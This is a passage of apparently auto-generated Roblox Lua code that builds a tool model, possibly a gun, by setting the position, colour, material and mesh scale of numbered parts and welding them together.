  3151. Part251.CFrame = CFrame.new(144.829605, 3.97324896, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3152. Part251.BottomSurface = Enum.SurfaceType.Smooth
  3153. Part251.TopSurface = Enum.SurfaceType.Smooth
  3154. Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3155. Part251.Position = Vector3.new(144.829605, 3.97324896, 144.39093)
  3156. Part251.Orientation = Vector3.new(90, 90, 0)
  3157. Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3158. BlockMesh252.Parent = Part251
  3159. BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
  3160. BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
  3161. Part253.Parent = Tool0
  3162. Part253.Material = Enum.Material.Metal
  3163. Part253.BrickColor = BrickColor.new("Dark stone grey")
  3164. Part253.Rotation = Vector3.new(90, 0, -180)
  3165. Part253.Anchored = true
  3166. Part253.FormFactor = Enum.FormFactor.Custom
  3167. Part253.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3168. Part253.CFrame = CFrame.new(143.222946, 4.07990694, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3169. Part253.BottomSurface = Enum.SurfaceType.Smooth
  3170. Part253.TopSurface = Enum.SurfaceType.Smooth
  3171. Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3172. Part253.Position = Vector3.new(143.222946, 4.07990694, 144.410934)
  3173. Part253.Orientation = Vector3.new(90, 180, 0)
  3174. Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3175. BlockMesh254.Parent = Part253
  3176. BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3177. BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3178. Part255.Parent = Tool0
  3179. Part255.Material = Enum.Material.Metal
  3180. Part255.BrickColor = BrickColor.new("Dark stone grey")
  3181. Part255.Rotation = Vector3.new(90, 0, -90)
  3182. Part255.Anchored = true
  3183. Part255.FormFactor = Enum.FormFactor.Custom
  3184. Part255.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  3185. Part255.CFrame = CFrame.new(143.969604, 3.84657598, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3186. Part255.BottomSurface = Enum.SurfaceType.Smooth
  3187. Part255.TopSurface = Enum.SurfaceType.Smooth
  3188. Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3189. Part255.Position = Vector3.new(143.969604, 3.84657598, 144.28093)
  3190. Part255.Orientation = Vector3.new(90, 90, 0)
  3191. Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3192. CylinderMesh256.Parent = Part255
  3193. CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3194. CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3195. ManualWeld257.Name = "Part-to-Handle Strong Joint"
  3196. ManualWeld257.Parent = Part255
  3197. ManualWeld257.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3198. ManualWeld257.C1 = CFrame.new(-0.00999450684, 0.0810916424, 0.433959961, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  3199. ManualWeld257.Part0 = Part255
  3200. ManualWeld257.Part1 = Part30
  3201. Part258.Parent = Tool0
  3202. Part258.Material = Enum.Material.Metal
  3203. Part258.BrickColor = BrickColor.new("Dark stone grey")
  3204. Part258.Rotation = Vector3.new(-180, -90, 0)
  3205. Part258.Anchored = true
  3206. Part258.FormFactor = Enum.FormFactor.Custom
  3207. Part258.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3208. Part258.CFrame = CFrame.new(143.829605, 3.89991403, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  3209. Part258.BottomSurface = Enum.SurfaceType.Smooth
  3210. Part258.TopSurface = Enum.SurfaceType.Smooth
  3211. Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3212. Part258.Position = Vector3.new(143.829605, 3.89991403, 144.500931)
  3213. Part258.Orientation = Vector3.new(0, -90, 180)
  3214. Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3215. SpecialMesh259.Parent = Part258
  3216. SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3217. SpecialMesh259.MeshType = Enum.MeshType.Sphere
  3218. SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3219. Part260.Parent = Tool0
  3220. Part260.Material = Enum.Material.Metal
  3221. Part260.BrickColor = BrickColor.new("Dark stone grey")
  3222. Part260.Rotation = Vector3.new(90, 0, -180)
  3223. Part260.Anchored = true
  3224. Part260.FormFactor = Enum.FormFactor.Custom
  3225. Part260.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3226. Part260.CFrame = CFrame.new(143.222946, 4.05991077, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3227. Part260.BottomSurface = Enum.SurfaceType.Smooth
  3228. Part260.TopSurface = Enum.SurfaceType.Smooth
  3229. Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3230. Part260.Position = Vector3.new(143.222946, 4.05991077, 144.410934)
  3231. Part260.Orientation = Vector3.new(90, 180, 0)
  3232. Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3233. BlockMesh261.Parent = Part260
  3234. BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3235. BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3236. Part262.Parent = Tool0
  3237. Part262.Material = Enum.Material.Metal
  3238. Part262.BrickColor = BrickColor.new("Dark stone grey")
  3239. Part262.Rotation = Vector3.new(-90, 0, -90)
  3240. Part262.Anchored = true
  3241. Part262.FormFactor = Enum.FormFactor.Custom
  3242. Part262.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3243. Part262.CFrame = CFrame.new(143.78627, 3.966573, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  3244. Part262.BottomSurface = Enum.SurfaceType.Smooth
  3245. Part262.TopSurface = Enum.SurfaceType.Smooth
  3246. Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3247. Part262.Position = Vector3.new(143.78627, 3.966573, 144.500931)
  3248. Part262.Orientation = Vector3.new(-90, -90, 0)
  3249. Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3250. SpecialMesh263.Parent = Part262
  3251. SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
  3252. SpecialMesh263.MeshType = Enum.MeshType.Wedge
  3253. SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
  3254. Part264.Parent = Tool0
  3255. Part264.Material = Enum.Material.Metal
  3256. Part264.BrickColor = BrickColor.new("Dark stone grey")
  3257. Part264.Rotation = Vector3.new(90, 0, -180)
  3258. Part264.Anchored = true
  3259. Part264.FormFactor = Enum.FormFactor.Custom
  3260. Part264.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3261. Part264.CFrame = CFrame.new(143.222946, 4.0665741, 144.374268, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3262. Part264.BottomSurface = Enum.SurfaceType.Smooth
  3263. Part264.TopSurface = Enum.SurfaceType.Smooth
  3264. Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3265. Part264.Position = Vector3.new(143.222946, 4.0665741, 144.374268)
  3266. Part264.Orientation = Vector3.new(90, 180, 0)
  3267. Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3268. BlockMesh265.Parent = Part264
  3269. BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3270. BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3271. Part266.Parent = Tool0
  3272. Part266.Material = Enum.Material.Metal
  3273. Part266.BrickColor = BrickColor.new("Dark stone grey")
  3274. Part266.Rotation = Vector3.new(-90, 0, -90)
  3275. Part266.Anchored = true
  3276. Part266.FormFactor = Enum.FormFactor.Custom
  3277. Part266.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3278. Part266.CFrame = CFrame.new(143.78627, 3.98323798, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  3279. Part266.BottomSurface = Enum.SurfaceType.Smooth
  3280. Part266.TopSurface = Enum.SurfaceType.Smooth
  3281. Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3282. Part266.Position = Vector3.new(143.78627, 3.98323798, 144.500931)
  3283. Part266.Orientation = Vector3.new(-90, -90, 0)
  3284. Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3285. BlockMesh267.Parent = Part266
  3286. BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
  3287. BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
  3288. Part268.Parent = Tool0
  3289. Part268.Material = Enum.Material.Metal
  3290. Part268.BrickColor = BrickColor.new("Dark stone grey")
  3291. Part268.Rotation = Vector3.new(90, 0, -90)
  3292. Part268.Anchored = true
  3293. Part268.FormFactor = Enum.FormFactor.Custom
  3294. Part268.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  3295. Part268.CFrame = CFrame.new(143.969604, 3.89991212, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3296. Part268.BottomSurface = Enum.SurfaceType.Smooth
  3297. Part268.TopSurface = Enum.SurfaceType.Smooth
  3298. Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3299. Part268.Position = Vector3.new(143.969604, 3.89991212, 144.28093)
  3300. Part268.Orientation = Vector3.new(90, 90, 0)
  3301. Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3302. CylinderMesh269.Parent = Part268
  3303. CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3304. CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3305. Part270.Parent = Tool0
  3306. Part270.Material = Enum.Material.Metal
  3307. Part270.BrickColor = BrickColor.new("Dark stone grey")
  3308. Part270.Rotation = Vector3.new(90, 0, -180)
  3309. Part270.Anchored = true
  3310. Part270.FormFactor = Enum.FormFactor.Custom
  3311. Part270.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3312. Part270.CFrame = CFrame.new(144.866272, 4.00324583, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3313. Part270.BottomSurface = Enum.SurfaceType.Smooth
  3314. Part270.TopSurface = Enum.SurfaceType.Smooth
  3315. Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3316. Part270.Position = Vector3.new(144.866272, 4.00324583, 144.444275)
  3317. Part270.Orientation = Vector3.new(90, 180, 0)
  3318. Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3319. BlockMesh271.Parent = Part270
  3320. BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  3321. BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  3322. Part272.Parent = Tool0
  3323. Part272.Material = Enum.Material.Metal
  3324. Part272.BrickColor = BrickColor.new("Dark stone grey")
  3325. Part272.Rotation = Vector3.new(-90, -90, 0)
  3326. Part272.Anchored = true
  3327. Part272.FormFactor = Enum.FormFactor.Custom
  3328. Part272.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3329. Part272.CFrame = CFrame.new(144.562943, 3.973243, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3330. Part272.BottomSurface = Enum.SurfaceType.Smooth
  3331. Part272.TopSurface = Enum.SurfaceType.Smooth
  3332. Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3333. Part272.Position = Vector3.new(144.562943, 3.973243, 144.287598)
  3334. Part272.Orientation = Vector3.new(0, -90, 90)
  3335. Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3336. SpecialMesh273.Parent = Part272
  3337. SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
  3338. SpecialMesh273.MeshType = Enum.MeshType.Wedge
  3339. SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
  3340. Part274.Parent = Tool0
  3341. Part274.Material = Enum.Material.Metal
  3342. Part274.BrickColor = BrickColor.new("Dark stone grey")
  3343. Part274.Rotation = Vector3.new(-90, 0, -90)
  3344. Part274.Anchored = true
  3345. Part274.FormFactor = Enum.FormFactor.Custom
  3346. Part274.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
  3347. Part274.CFrame = CFrame.new(143.5896, 3.93991399, 144.28093, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  3348. Part274.BottomSurface = Enum.SurfaceType.Smooth
  3349. Part274.TopSurface = Enum.SurfaceType.Smooth
  3350. Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3351. Part274.Position = Vector3.new(143.5896, 3.93991399, 144.28093)
  3352. Part274.Orientation = Vector3.new(-90, -90, 0)
  3353. Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3354. SpecialMesh275.Parent = Part274
  3355. SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  3356. SpecialMesh275.MeshType = Enum.MeshType.Wedge
  3357. SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  3358. Part276.Parent = Tool0
  3359. Part276.Material = Enum.Material.Metal
  3360. Part276.BrickColor = BrickColor.new("Dark stone grey")
  3361. Part276.Rotation = Vector3.new(180, 90, 0)
  3362. Part276.Anchored = true
  3363. Part276.FormFactor = Enum.FormFactor.Custom
  3364. Part276.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3365. Part276.CFrame = CFrame.new(144.109604, 3.89991403, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  3366. Part276.BottomSurface = Enum.SurfaceType.Smooth
  3367. Part276.TopSurface = Enum.SurfaceType.Smooth
  3368. Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3369. Part276.Position = Vector3.new(144.109604, 3.89991403, 144.500931)
  3370. Part276.Orientation = Vector3.new(0, 90, 180)
  3371. Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3372. SpecialMesh277.Parent = Part276
  3373. SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3374. SpecialMesh277.MeshType = Enum.MeshType.Sphere
  3375. SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3376. Part278.Parent = Tool0
  3377. Part278.Material = Enum.Material.Metal
  3378. Part278.BrickColor = BrickColor.new("Dark stone grey")
  3379. Part278.Rotation = Vector3.new(90, 0, 90)
  3380. Part278.Anchored = true
  3381. Part278.FormFactor = Enum.FormFactor.Custom
  3382. Part278.Size = Vector3.new(0.200000003, 0.206666633, 0.200000003)
  3383. Part278.CFrame = CFrame.new(144.222931, 3.89991212, 144.500931, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  3384. Part278.BottomSurface = Enum.SurfaceType.Smooth
  3385. Part278.TopSurface = Enum.SurfaceType.Smooth
  3386. Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3387. Part278.Position = Vector3.new(144.222931, 3.89991212, 144.500931)
  3388. Part278.Orientation = Vector3.new(90, -90, 0)
  3389. Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3390. CylinderMesh279.Parent = Part278
  3391. CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3392. CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3393. Part280.Parent = Tool0
  3394. Part280.Material = Enum.Material.Metal
  3395. Part280.BrickColor = BrickColor.new("Black")
  3396. Part280.Rotation = Vector3.new(-90, -90, 0)
  3397. Part280.Anchored = true
  3398. Part280.FormFactor = Enum.FormFactor.Custom
  3399. Part280.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3400. Part280.CFrame = CFrame.new(144.562943, 3.84658098, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3401. Part280.BottomSurface = Enum.SurfaceType.Smooth
  3402. Part280.TopSurface = Enum.SurfaceType.Smooth
  3403. Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3404. Part280.Position = Vector3.new(144.562943, 3.84658098, 144.287598)
  3405. Part280.Orientation = Vector3.new(0, -90, 90)
  3406. Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3407. SpecialMesh281.Parent = Part280
  3408. SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  3409. SpecialMesh281.MeshType = Enum.MeshType.Wedge
  3410. SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  3411. Part282.Parent = Tool0
  3412. Part282.Material = Enum.Material.Metal
  3413. Part282.BrickColor = BrickColor.new("Dark stone grey")
  3414. Part282.Rotation = Vector3.new(90, 0, 90)
  3415. Part282.Anchored = true
  3416. Part282.FormFactor = Enum.FormFactor.Custom
  3417. Part282.Size = Vector3.new(0.226666585, 0.286666691, 0.200000003)
  3418. Part282.CFrame = CFrame.new(143.5896, 3.97324896, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  3419. Part282.BottomSurface = Enum.SurfaceType.Smooth
  3420. Part282.TopSurface = Enum.SurfaceType.Smooth
  3421. Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3422. Part282.Position = Vector3.new(143.5896, 3.97324896, 144.39093)
  3423. Part282.Orientation = Vector3.new(90, -90, 0)
  3424. Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3425. SpecialMesh283.Parent = Part282
  3426. SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
  3427. SpecialMesh283.MeshType = Enum.MeshType.Wedge
  3428. SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
  3429. Part284.Parent = Tool0
  3430. Part284.Material = Enum.Material.Metal
  3431. Part284.BrickColor = BrickColor.new("Black")
  3432. Part284.Rotation = Vector3.new(-90, -90, 0)
  3433. Part284.Anchored = true
  3434. Part284.FormFactor = Enum.FormFactor.Custom
  3435. Part284.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3436. Part284.CFrame = CFrame.new(144.562943, 3.86657596, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3437. Part284.BottomSurface = Enum.SurfaceType.Smooth
  3438. Part284.TopSurface = Enum.SurfaceType.Smooth
  3439. Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3440. Part284.Position = Vector3.new(144.562943, 3.86657596, 144.474274)
  3441. Part284.Orientation = Vector3.new(0, -90, 90)
  3442. Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3443. BlockMesh285.Parent = Part284
  3444. BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  3445. BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  3446. Part286.Parent = Tool0
  3447. Part286.Material = Enum.Material.Metal
  3448. Part286.BrickColor = BrickColor.new("Dark stone grey")
  3449. Part286.Rotation = Vector3.new(90, 0, -90)
  3450. Part286.Anchored = true
  3451. Part286.FormFactor = Enum.FormFactor.Custom
  3452. Part286.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3453. Part286.CFrame = CFrame.new(144.769608, 3.97324896, 144.31427, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3454. Part286.BottomSurface = Enum.SurfaceType.Smooth
  3455. Part286.TopSurface = Enum.SurfaceType.Smooth
  3456. Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3457. Part286.Position = Vector3.new(144.769608, 3.97324896, 144.31427)
  3458. Part286.Orientation = Vector3.new(90, 90, 0)
  3459. Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3460. BlockMesh287.Parent = Part286
  3461. BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  3462. BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  3463. Part288.Parent = Tool0
  3464. Part288.Material = Enum.Material.Metal
  3465. Part288.BrickColor = BrickColor.new("Dark stone grey")
  3466. Part288.Rotation = Vector3.new(-90, 0, 90)
  3467. Part288.Anchored = true
  3468. Part288.FormFactor = Enum.FormFactor.Custom
  3469. Part288.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
  3470. Part288.CFrame = CFrame.new(143.969604, 3.88656497, 144.334274, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3471. Part288.BottomSurface = Enum.SurfaceType.Smooth
  3472. Part288.TopSurface = Enum.SurfaceType.Smooth
  3473. Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3474. Part288.Position = Vector3.new(143.969604, 3.88656497, 144.334274)
  3475. Part288.Orientation = Vector3.new(-90, 90, 0)
  3476. Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3477. BlockMesh289.Parent = Part288
  3478. BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
  3479. BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
  3480. Part290.Parent = Tool0
  3481. Part290.Material = Enum.Material.Metal
  3482. Part290.BrickColor = BrickColor.new("Dark stone grey")
  3483. Part290.Rotation = Vector3.new(90, 0, -180)
  3484. Part290.Anchored = true
  3485. Part290.FormFactor = Enum.FormFactor.Custom
  3486. Part290.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3487. Part290.CFrame = CFrame.new(143.222946, 4.05991077, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3488. Part290.BottomSurface = Enum.SurfaceType.Smooth
  3489. Part290.TopSurface = Enum.SurfaceType.Smooth
  3490. Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3491. Part290.Position = Vector3.new(143.222946, 4.05991077, 144.370956)
  3492. Part290.Orientation = Vector3.new(90, 180, 0)
  3493. Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3494. BlockMesh291.Parent = Part290
  3495. BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3496. BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3497. Part292.Parent = Tool0
  3498. Part292.Material = Enum.Material.Metal
  3499. Part292.BrickColor = BrickColor.new("Dark stone grey")
  3500. Part292.Rotation = Vector3.new(90, 0, -180)
  3501. Part292.Anchored = true
  3502. Part292.FormFactor = Enum.FormFactor.Custom
  3503. Part292.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3504. Part292.CFrame = CFrame.new(143.222946, 4.0665741, 144.407623, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3505. Part292.BottomSurface = Enum.SurfaceType.Smooth
  3506. Part292.TopSurface = Enum.SurfaceType.Smooth
  3507. Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3508. Part292.Position = Vector3.new(143.222946, 4.0665741, 144.407623)
  3509. Part292.Orientation = Vector3.new(90, 180, 0)
  3510. Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3511. BlockMesh293.Parent = Part292
  3512. BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3513. BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3514. Part294.Parent = Tool0
  3515. Part294.Material = Enum.Material.Metal
  3516. Part294.BrickColor = BrickColor.new("Dark stone grey")
  3517. Part294.Rotation = Vector3.new(90, 0, -180)
  3518. Part294.Anchored = true
  3519. Part294.FormFactor = Enum.FormFactor.Custom
  3520. Part294.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3521. Part294.CFrame = CFrame.new(143.156265, 4.0299139, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3522. Part294.BottomSurface = Enum.SurfaceType.Smooth
  3523. Part294.TopSurface = Enum.SurfaceType.Smooth
  3524. Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3525. Part294.Position = Vector3.new(143.156265, 4.0299139, 144.337601)
  3526. Part294.Orientation = Vector3.new(90, 180, 0)
  3527. Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3528. CylinderMesh295.Parent = Part294
  3529. CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  3530. CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  3531. Part296.Parent = Tool0
  3532. Part296.Material = Enum.Material.Metal
  3533. Part296.BrickColor = BrickColor.new("Dark stone grey")
  3534. Part296.Rotation = Vector3.new(90, 0, -180)
  3535. Part296.Anchored = true
  3536. Part296.FormFactor = Enum.FormFactor.Custom
  3537. Part296.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3538. Part296.CFrame = CFrame.new(143.266266, 3.99323797, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3539. Part296.BottomSurface = Enum.SurfaceType.Smooth
  3540. Part296.TopSurface = Enum.SurfaceType.Smooth
  3541. Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3542. Part296.Position = Vector3.new(143.266266, 3.99323797, 144.39093)
  3543. Part296.Orientation = Vector3.new(90, 180, 0)
  3544. Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3545. BlockMesh297.Parent = Part296
  3546. BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
  3547. BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
  3548. Part298.Parent = Tool0
  3549. Part298.Material = Enum.Material.Metal
  3550. Part298.BrickColor = BrickColor.new("Dark stone grey")
  3551. Part298.Rotation = Vector3.new(0, -89.9700012, 0)
  3552. Part298.Anchored = true
  3553. Part298.FormFactor = Enum.FormFactor.Custom
  3554. Part298.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3555. Part298.CFrame = CFrame.new(144.642929, 3.97324896, 144.307602, 0, 0, -0.999999881, 0.999999881, 0, 0, 0, -0.999999881, 0)
  3556. Part298.BottomSurface = Enum.SurfaceType.Smooth
  3557. Part298.TopSurface = Enum.SurfaceType.Smooth
  3558. Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3559. Part298.Position = Vector3.new(144.642929, 3.97324896, 144.307602)
  3560. Part298.Orientation = Vector3.new(0, -90, 90)
  3561. Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3562. SpecialMesh299.Parent = Part298
  3563. SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  3564. SpecialMesh299.MeshType = Enum.MeshType.Wedge
  3565. SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  3566. Part300.Parent = Tool0
  3567. Part300.Material = Enum.Material.Metal
  3568. Part300.BrickColor = BrickColor.new("Dark stone grey")
  3569. Part300.Rotation = Vector3.new(90, 90, 0)
  3570. Part300.Anchored = true
  3571. Part300.FormFactor = Enum.FormFactor.Custom
  3572. Part300.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3573. Part300.CFrame = CFrame.new(144.662933, 3.97324896, 144.467606, 0, 0, 1, 1, 0, 0, 0, 1, 0)
  3574. Part300.BottomSurface = Enum.SurfaceType.Smooth
  3575. Part300.TopSurface = Enum.SurfaceType.Smooth
  3576. Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3577. Part300.Position = Vector3.new(144.662933, 3.97324896, 144.467606)
  3578. Part300.Orientation = Vector3.new(0, 90, 90)
  3579. Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3580. SpecialMesh301.Parent = Part300
  3581. SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  3582. SpecialMesh301.MeshType = Enum.MeshType.Wedge
  3583. SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  3584. Part302.Parent = Tool0
  3585. Part302.Material = Enum.Material.Metal
  3586. Part302.BrickColor = BrickColor.new("Dark stone grey")
  3587. Part302.Rotation = Vector3.new(-90, 0, 90)
  3588. Part302.Anchored = true
  3589. Part302.FormFactor = Enum.FormFactor.Custom
  3590. Part302.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3591. Part302.CFrame = CFrame.new(143.412933, 3.93991399, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3592. Part302.BottomSurface = Enum.SurfaceType.Smooth
  3593. Part302.TopSurface = Enum.SurfaceType.Smooth
  3594. Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3595. Part302.Position = Vector3.new(143.412933, 3.93991399, 144.28093)
  3596. Part302.Orientation = Vector3.new(-90, 90, 0)
  3597. Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3598. BlockMesh303.Parent = Part302
  3599. BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  3600. BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
  3601. ManualWeld304.Name = "Part-to-AimPart Strong Joint"
  3602. ManualWeld304.Parent = Part302
  3603. ManualWeld304.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3604. ManualWeld304.C1 = CFrame.new(-0.00999450684, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3605. ManualWeld304.Part0 = Part302
  3606. ManualWeld304.Part1 = Part420
